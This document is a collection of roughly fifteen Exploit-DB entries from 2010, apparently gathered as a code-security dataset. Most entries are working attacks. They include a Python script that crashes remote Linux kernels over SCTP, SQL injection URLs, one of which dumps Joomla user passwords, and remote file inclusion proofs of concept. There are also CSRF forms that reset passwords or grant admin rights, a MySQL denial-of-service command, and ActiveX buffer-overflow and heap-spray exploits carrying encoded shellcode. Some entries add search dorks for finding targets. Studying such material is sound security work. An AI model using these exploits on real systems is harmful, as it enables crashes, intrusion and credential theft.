QLWD/code_shield huggingface dataset:
标题: Linux Kernel 2.6.33.3 - SCTP INIT Remote Denial of Service EDB-ID: 14594 CVE: 2010-1173 类型: DOS 平台: LINUX 发布日期: 2010-08-09 漏洞利用脚本: # From: http://jon.oberheide.org/files/sctp-boom.py
#!/usr/bin/env python

''' 
  sctp-boom.py
 
  Linux Kernel <= 2.6.33.3 SCTP INIT Remote DoS
  Jon Oberheide <jon@oberheide.org>
  http://jon.oberheide.org
  
  Information:
 
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173

    The sctp_process_unk_param function in net/sctp/sm_make_chunk.c in the
    Linux kernel 2.6.33.3 and earlier, when SCTP is enabled, allows remote 
    attackers to cause a denial of service (system crash) via an SCTPChunkInit
    packet containing multiple invalid parameters that require a large amount 
    of error data. 

  Usage:
 
    $ python sctp-boom.py 1.2.3.4 19000
    [+] sending malformed SCTP INIT msg to 1.2.3.4:19000
    ...
    [+] kernel should have panicked on remote host 1.2.3.4

  Requirements:
    
    * dnet: http://libdnet.sourceforge.net/
    * dpkt: http://code.google.com/p/dpkt/

''' 

import os, sys, socket

def err(txt):
    print '[-] error: %s' % txt
    sys.exit(1)

def msg(txt):
    print '[+] %s' % txt

def usage():
    print >> sys.stderr, 'usage: %s host port' % sys.argv[0]
    sys.exit(1)

try:
    import dpkt
except ImportError:
    err('requires dpkt library: http://code.google.com/p/dpkt/')

try:
    import dnet
except ImportError:
    try:
        import dumbnet as dnet
    except ImportError:
        err('requires dnet library: http://libdnet.sourceforge.net/')

def main():
    if len(sys.argv) != 3:
        usage()

    host = sys.argv[1]
    port = int(sys.argv[2])

    try:
        sock = dnet.ip()
        intf = dnet.intf()
    except OSError:
        err('requires root privileges for raw socket access')

    dst_addr = socket.gethostbyname(host)
    interface = intf.get_dst(dnet.addr(dst_addr))
    src_addr = interface['addr'].ip

    msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))

    invalid = ''
    invalid += '\x20\x10\x11\x73'
    invalid += '\x00\x00\xf4\x00'
    invalid += '\x00\x05'
    invalid += '\x00\x05'
    invalid += '\x20\x10\x11\x73'

    for i in xrange(20):
        invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'

    init = dpkt.sctp.Chunk()
    init.type = dpkt.sctp.INIT
    init.data = invalid
    init.len = len(init)

    sctp = dpkt.sctp.SCTP()
    sctp.sport = 0x1173
    sctp.dport = port
    sctp.data = [ init ]

    ip = dpkt.ip.IP()
    ip.src = src_addr
    ip.dst = dnet.ip_aton(dst_addr)
    ip.p = dpkt.ip.IP_PROTO_SCTP
    ip.data = sctp
    ip.len = len(ip)

    print `ip`

    pkt = dnet.ip_checksum(str(ip))
    sock.send(pkt)

    msg('kernel should have panicked on remote host %s' % (dst_addr))

if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/14594
标题: PHP-Nuke 8.x - Blind SQL Injection EDB-ID: 14589 CVE: 2010-5083 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-09 漏洞利用脚本: #Title: Php Nuke Blind Sql Injection 8.x.x
#Vendor: http://www.php-nuke.org/
#######################################################################
#AUTHOR:  ITSecTeam
#Email:   Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum :  http://forum.ITSecTeam.com
#Advisory:www.ITSecTeam.com/en/vulnerabilities/vulnerability58.htm
#Thanks:  M3hr@n$,r3dm0v3,am!rkh@n,Platen,Erfan.Blackhat and Dosib
#Discovered By Amin Shokohi(Pejvak)
######################################################################

Poc :modules\Web_Links\index.php line:223
function Add($title, $url, $auth_name, $cat, $description, $email) {
global $prefix, $db, $user;
$url = filter($url, "nohtml");
$result = $db->sql_query("SELECT url from ".$prefix."_links_links where
url='$url'");
$numrows = $db->sql_numrows($result);
if ($numrows>0) {......

######################################################################
#Bug : http://site.com/modules.php?name=Web_Links&l_op=Add&url=sql Injection
###################################################################### URL: https://www.exploit-db.com/exploits/14589
标题: Tycoon CMS Record Script 1.0.9 - SQL Injection EDB-ID: 14572 CVE: 2010-3027 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-07 漏洞利用脚本: % Tycoon(CMS) Record Script Sql vulnerability

-------------------------------------------------------------------------------
0                             | |              | |                      | |  TM
1   _______  _ __   ___ ______| |__   __ _  ___| | _____ _ __ _ __   ___| |_ 
0  |_  / _ \| '_ \ / _ \______| '_ \ / _` |/ __| |/ / _ \ '__| '_ \ / _ \ __|
1   / / (_) | | | |  __/      | | | | (_| | (__|   <  __/ | _| | | |  __/ |_ 
0  /___\___/|_| |_|\___|      |_| |_|\__,_|\___|_|\_\___|_|(_)_| |_|\___|\__|
1                         0xPrivate 0xSecurity 0xTeam 
0  ++++++++++++++++++++++++++++++++++++++++++++++++++++
1                 A Placec Of 0days   
------------------------------------------------------------------------------

^Exploit Title  : Tycoon(CMS) Record Script Sql vulnerability
^Date   : 7/8/2010
^Vendor Site  : http://www.tycoon.co.kr
^MOD Version : 1.0.9
^Author  : Silic0n (science_media017[At]yahoo.com)
^category:  : webapps/0day
^Dork  : inurl:index.php?mode=game_player

------------------------------------------------------------------------------
Special Thnanks To Jackh4x0r , Gaurav_raj420 , Mr 52 (7) , Dalsim , Zetra , haZl0oh , root4o ,
 Dark , XG3N , Belma(sweety), messsy , Thor ,abronsius ,Nova ,
 ConsoleFx , Exi , Beenu , R4cal , jaya ,entr0py,[]0iZy5 & All my friends . 

My Frnd Site : www.igniteds.net , www.anti-intruders.org (Will Be Up Very Soon) , www.root-market.com ,www.Darkode.com ,r00tDefaced.com

----------------------------------->Exploit<----------------------------------

0x1: Goto http://{localhost}/record/index.php?mode=game_player&type=0&year=2010&game_id=-14 UNion Select 1,2,@@version

Version : (4.0.22-log)

------------------------------------------------------------------------------ URL: https://www.exploit-db.com/exploits/14572
标题: Microsoft Windows - 'win32k.sys' Driver 'CreateDIBPalette()' Local Buffer Overflow EDB-ID: 14566 CVE: 2010-2739 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-06 漏洞利用脚本: // source: http://www.ragestorm.net/blogs/?p=255
// source: http://secunia.com/advisories/40870/

DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE); URL: https://www.exploit-db.com/exploits/14566
标题: ccTiddly 1.7.6 - Multiple Remote File Inclusions EDB-ID: 14560 CVE: 2008-5949 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


Developer: http://tiddlywiki.org/wiki/CcTiddlyDeveloper
Download: http://tiddlywiki.org/ccTiddly/ccTiddly_v1.7.6.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
Original Advisories: http://eidelweiss-advisories.blogspot.com/2010/08/cctiddly-v176-multiple-remote-file.html

================================================================

ccTiddly is a collaborative server side version of TiddlyWiki.

Note:
This is the same vuln in other lower version (http://www.exploit-db.com/exploits/7336/)
Vendor Not Fix the vulnerability in all folder !!!

================================================================

 -=[Vuln C0de]=-

[!] path/includes/include.php

 include_once($cct_base."includes/ccAssignments.php");

[!] path/includes/workspace.php

 include_once($cct_base."includes/header.php");
 include_once($cct_base."includes/user.php");
 include_once($cct_base."includes/tiddler.php");

================================================================

 -=[P0C]=-

 http://127.0.0.1/path/includes/include.php?cct_base= [inj3ct0r sh3ll]

 http://127.0.0.1/path/includes/workspace.php?cct_base= [inj3ct0r sh3ll]


=========================| -=[ E0F ]=- |============================ URL: https://www.exploit-db.com/exploits/14560
标题: DiamondList 0.1.6 - Cross-Site Request Forgery EDB-ID: 14565 CVE: 2010-3024 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: Vulnerability ID: HTB22517
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/user/main/update_user/1" method="post" name="main" >

<input type="hidden" name="user[email]" value="admin (at) example (dot) com [email concealed]" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version URL: https://www.exploit-db.com/exploits/14565
标题: Nuked-klaN Module Partenaires NK 1.5 - Blind SQL Injection EDB-ID: 14556 CVE: 2010-4925 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: ####################################################################
.:. Author : Metropolis
.:. Home : www.metropolis.fr.cr 
.:. Script : Nuked-Klan Module Partenaires NK 1.5
.:. Version : 1.5
.:. Download Script: http://www.nuked-klan.org/index.php?file=Download&op=description&dl_id=317
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:/modules/Partenaires/clic.php?id=

####################################################################
 
===[ Blind Sql Injection ]===
 
SQL Error =>
 
/modules/Partenaires/clic.php?id=8' 
 
 
www.site.com/modules/Partenaires/clic.php?id=8 [Blind]


#################################################################### URL: https://www.exploit-db.com/exploits/14556
标题: APBoard 2.1.0 - 'board.php?id' SQL Injection EDB-ID: 14559 CVE: 2010-4955 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: ############################################################################################################# 
## APBoard 2.1.0  / board.php?id= SQL Injection                                           ## 
## Author         : secret - mohammed.atta@hotmail.com                                   ## 
## Homepage       : http://swissfaking.net/                                             ## 
## Date           : 05 August, 2010                                                    ## 
############################################################################################################# 
  ____ ____ _____ ___   ____ ______   ____ ___   ___    _  __ 
  / __// __// ___// _ \ / __//_  __/  /  _// _ \ / _ |  / |/ / 
 _\ \ / _/ / /__ / , _// _/   / /    _/ / / , _// __ | /    / 
/___//___/ \___//_/|_|/___/  /_/____/___//_/|_|/_/ |_|/_/|_/  
                               /___/                           
  
#################################################### 
# APBoard 2.1.0  / board.php?id= SQL Injection
#################################################### 
# Discovered by : secret 
# Site          : http://swissfaking.net/ 
# Dork          : APBoard 2.1.0 © 2003-2010 APP - Another PHP Program
# Vendor        : http://www.php-programs.de/ 
# Version       : 2.1.0 and earlier 
# Exploit       : http://www.yoursite.de/board/board.php?id=X[SQL INJECTION]
# Tested on     : Microsoft OS
  
e.g. http://server/board/board.php?id=6[get union columns&USERS'] (-sqlinjection)
   
######################################################################################## 
  
#note : IRAN owns - mohammed.atta@hotmail.com URL: https://www.exploit-db.com/exploits/14559
标题: Open Blog 1.2.1 - Cross-Site Request Forgery EDB-ID: 14562 CVE: 2010-3030 2010-3026 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: Vulnerability ID: HTB22496
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
Product: Open Blog
Vendor: TomaÅ¾ Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/users/edit" method="post" >
<input type="hidden" name="display_name" value="User" />
<input type="hidden" name="level" value="administrator" />
<input type="hidden" name="email" value="email (at) example (dot) com [email concealed]" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="msn_messenger" value="" />
<input type="hidden" name="jabber" value="" />
<input type="hidden" name="about_me" value="about_me" />
<input type="hidden" name="id" value="2" />
<input type="submit" name="submit" id="sbmtit" value="Edit ››" />

</form>
<script>
document.getElementById('sbmtit').click();
</script> URL: https://www.exploit-db.com/exploits/14562
标题: Joomla! Component CamelcityDB 2.2 - SQL Injection EDB-ID: 14530 CVE: 2010-4945 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-02 漏洞利用脚本: ==============================================================
Joomla Component (com_camelcitydb2) SQL Injection Vulnerability
==============================================================
 
###########################
Title : Joomla Component (com_camelcitydb2) SQL Injection Vulnerability
Script : Joomla CamelcityDB 2.2
Date : 02/08/2010
Author : Amine_92
Tested : All version
Home : http://vbhacker.net
Dork : inurl:"option=com_camelcitydb2"
contact : amine92_16@hotmail.fr
###########################  
          
[ Vulnerable File ]
      
[path]/index.php?option=com_camelcitydb2&view=all&Itemid=15
 
[SQL]:
 
/index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
 
##############################################################  
Thank's to : All Hacker Mu$lim & Poeple of Gaza URL: https://www.exploit-db.com/exploits/14530
标题: Apple iOS - '.pdf' Local Privilege Escalation 'Jailbreak' EDB-ID: 14538 CVE: 2010-2973 2010-2972 2010-1797 类型: LOCAL 平台: IOS 发布日期: 2010-08-03 漏洞利用脚本: The files contained in the archive link below are those that make use of a pdf exploit in order to jailbreak devices running Apple iOS.  These pdf's are of interest in that they originate in userland and give root access to the devices.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14538.7z (ios_pdf_exploit.7z) URL: https://www.exploit-db.com/exploits/14538
标题: FathFTP 1.8 - 'RasIsConnected Method' ActiveX Buffer Overflow (SEH) EDB-ID: 14539 CVE: 2010-2701 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-03 漏洞利用脚本: <html>
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176' id='target'></object>
<script language='vbscript'>
' Exploit Title: FathFTP 1.8 (SEH) ActiveX Buffer Overflow
' Author: MadjiX
' Software Link: http://www.fathsoft.com/fathftp.html
' Version 1.7 : http://www.exploit-db.com/exploits/14269/ (Thanks Blake)
' Tested on: Windows XP SP3 FR / IE6
' Visit : www.sec4ever.com
'---------------------------------------------------'
'                  _____ __                         '
'____________________  // /_______   ______________ '
'__  ___/  _ \  ___/  // /_  _ \_ | / /  _ \/  ___/ '
'_(__  )/  __/ /__ /__  __/  __/_ |/ //  __/  /     '
'/____/ \___/\___/   /_/  \___/_____/ \___//_/      '
'                                                   '
'                   Security Team Members           '
'---------------------------------------------------'

' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")

nops = string(12, unescape("%90"))
buff=String(1188, "A")
nseh=unescape("%eb%06%90%90") 'tangiza 5fifa :D
seh=unescape("%3F%28%C6%72") 'universal
buff2=String(8888, "C")

exploit = buff + nseh + seh + nops + shellcode + buff2
target.RasIsConnected exploit

</script>
</html> URL: https://www.exploit-db.com/exploits/14539
标题: Oracle MySQL - 'ALTER DATABASE' Remote Denial of Service EDB-ID: 14537 CVE: 2010-2008 类型: DOS 平台: MULTIPLE 发布日期: 2010-08-03 漏洞利用脚本: A vulnerability was reported in MySQL. A remote authenticated user can cause denial of service conditions.

This issue affects versions prior to MySQL 5.1.48. 

A remote authenticated user can send a specially crafted ALTER DATABASE command to cause the target server to move a data directory into a new subdirectory, causing the data directory to become unusable.

A demonstration exploit request is provided [where "<special>" is "." or ".." or is a sequence that begins with "./" or "../"]:

ALTER DATABASE `#mysql50#<special>` UPGRADE DATA DIRECTORY NAME

Vendor advisory at:

http://dev.mysql.com/doc/refman/5.1/en/news-5-1-48.html URL: https://www.exploit-db.com/exploits/14537
标题: Barcodewiz Barcode ActiveX Control 3.29 - Remote HeapSpray (Internet Explorer 6/7) EDB-ID: 14519 CVE: 2010-2932 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-31 漏洞利用脚本: <!--
Title:  Barcodewiz 3.29 ActiveX Heap Spray Exploit
Coded By: Dr_IDE
Found By: loneferret
Tested:  Windows XP SP3 on IE6 + IE7
Date:  July, 30 2010
-->
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>

// Payload is win32_exec -  calc.exe  

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+  
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+  
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+  
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+  
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+  
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+  
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+  
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');  

nops=unescape('%u9090%u9090');  
headersize = 69;  //size adjusted for IE6/IE7 "universality"
slackspace= headersize + shellcode.length;
while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;  
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");  

target.LoadProperties(ret);
</script>
</html> URL: https://www.exploit-db.com/exploits/14519
标题: Barcodewiz Barcode ActiveX Control 3.29 - Remote Buffer Overflow (SEH) EDB-ID: 14505 CVE: 2010-2932 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-30 漏洞利用脚本: # BarCodeWiz Barcode ActiveX Control 3.29 BoF (SEH)
# Bug found: 24th July 2010
# Author: loneferret
# Software: http://www.barcodewiz.com/
# Nods to exploit-db.com

# Vulnerable file BarCodeWiz.dll
# LoadProperties method

# Tested on: Windows XP Professional SP3 with Internet Explorer 6
# [Needs adjustment for Internet Explorer 7]

 
# Vendor contacted: 24th July 2010
# Vendor first reply: 26th July 2010: Wanting more information
# Vendor contacted: 26th July 2010: Sent 2 proof of concepts files
# Vendor contacted: 29 July 2010: Asked for update
# No Response from vendor: 30 July 2010
# Public Release : 30 July 2010

#
# Shellcode calc.exe
# 

----HTML FILE FROM HERE ON-----

<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='vbscript'>

buffer = String(97,"A")
jmp = unescape("%eb%06%41%41")
SEH = unescape("%4b%f4%02%10")
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")
buffer2 = String(1552, "C")

arg1 = buffer + jmp + SEH + shellcode + buffer2

target.LoadProperties arg1

</script>

Barcodewiz 3.29
</html> URL: https://www.exploit-db.com/exploits/14505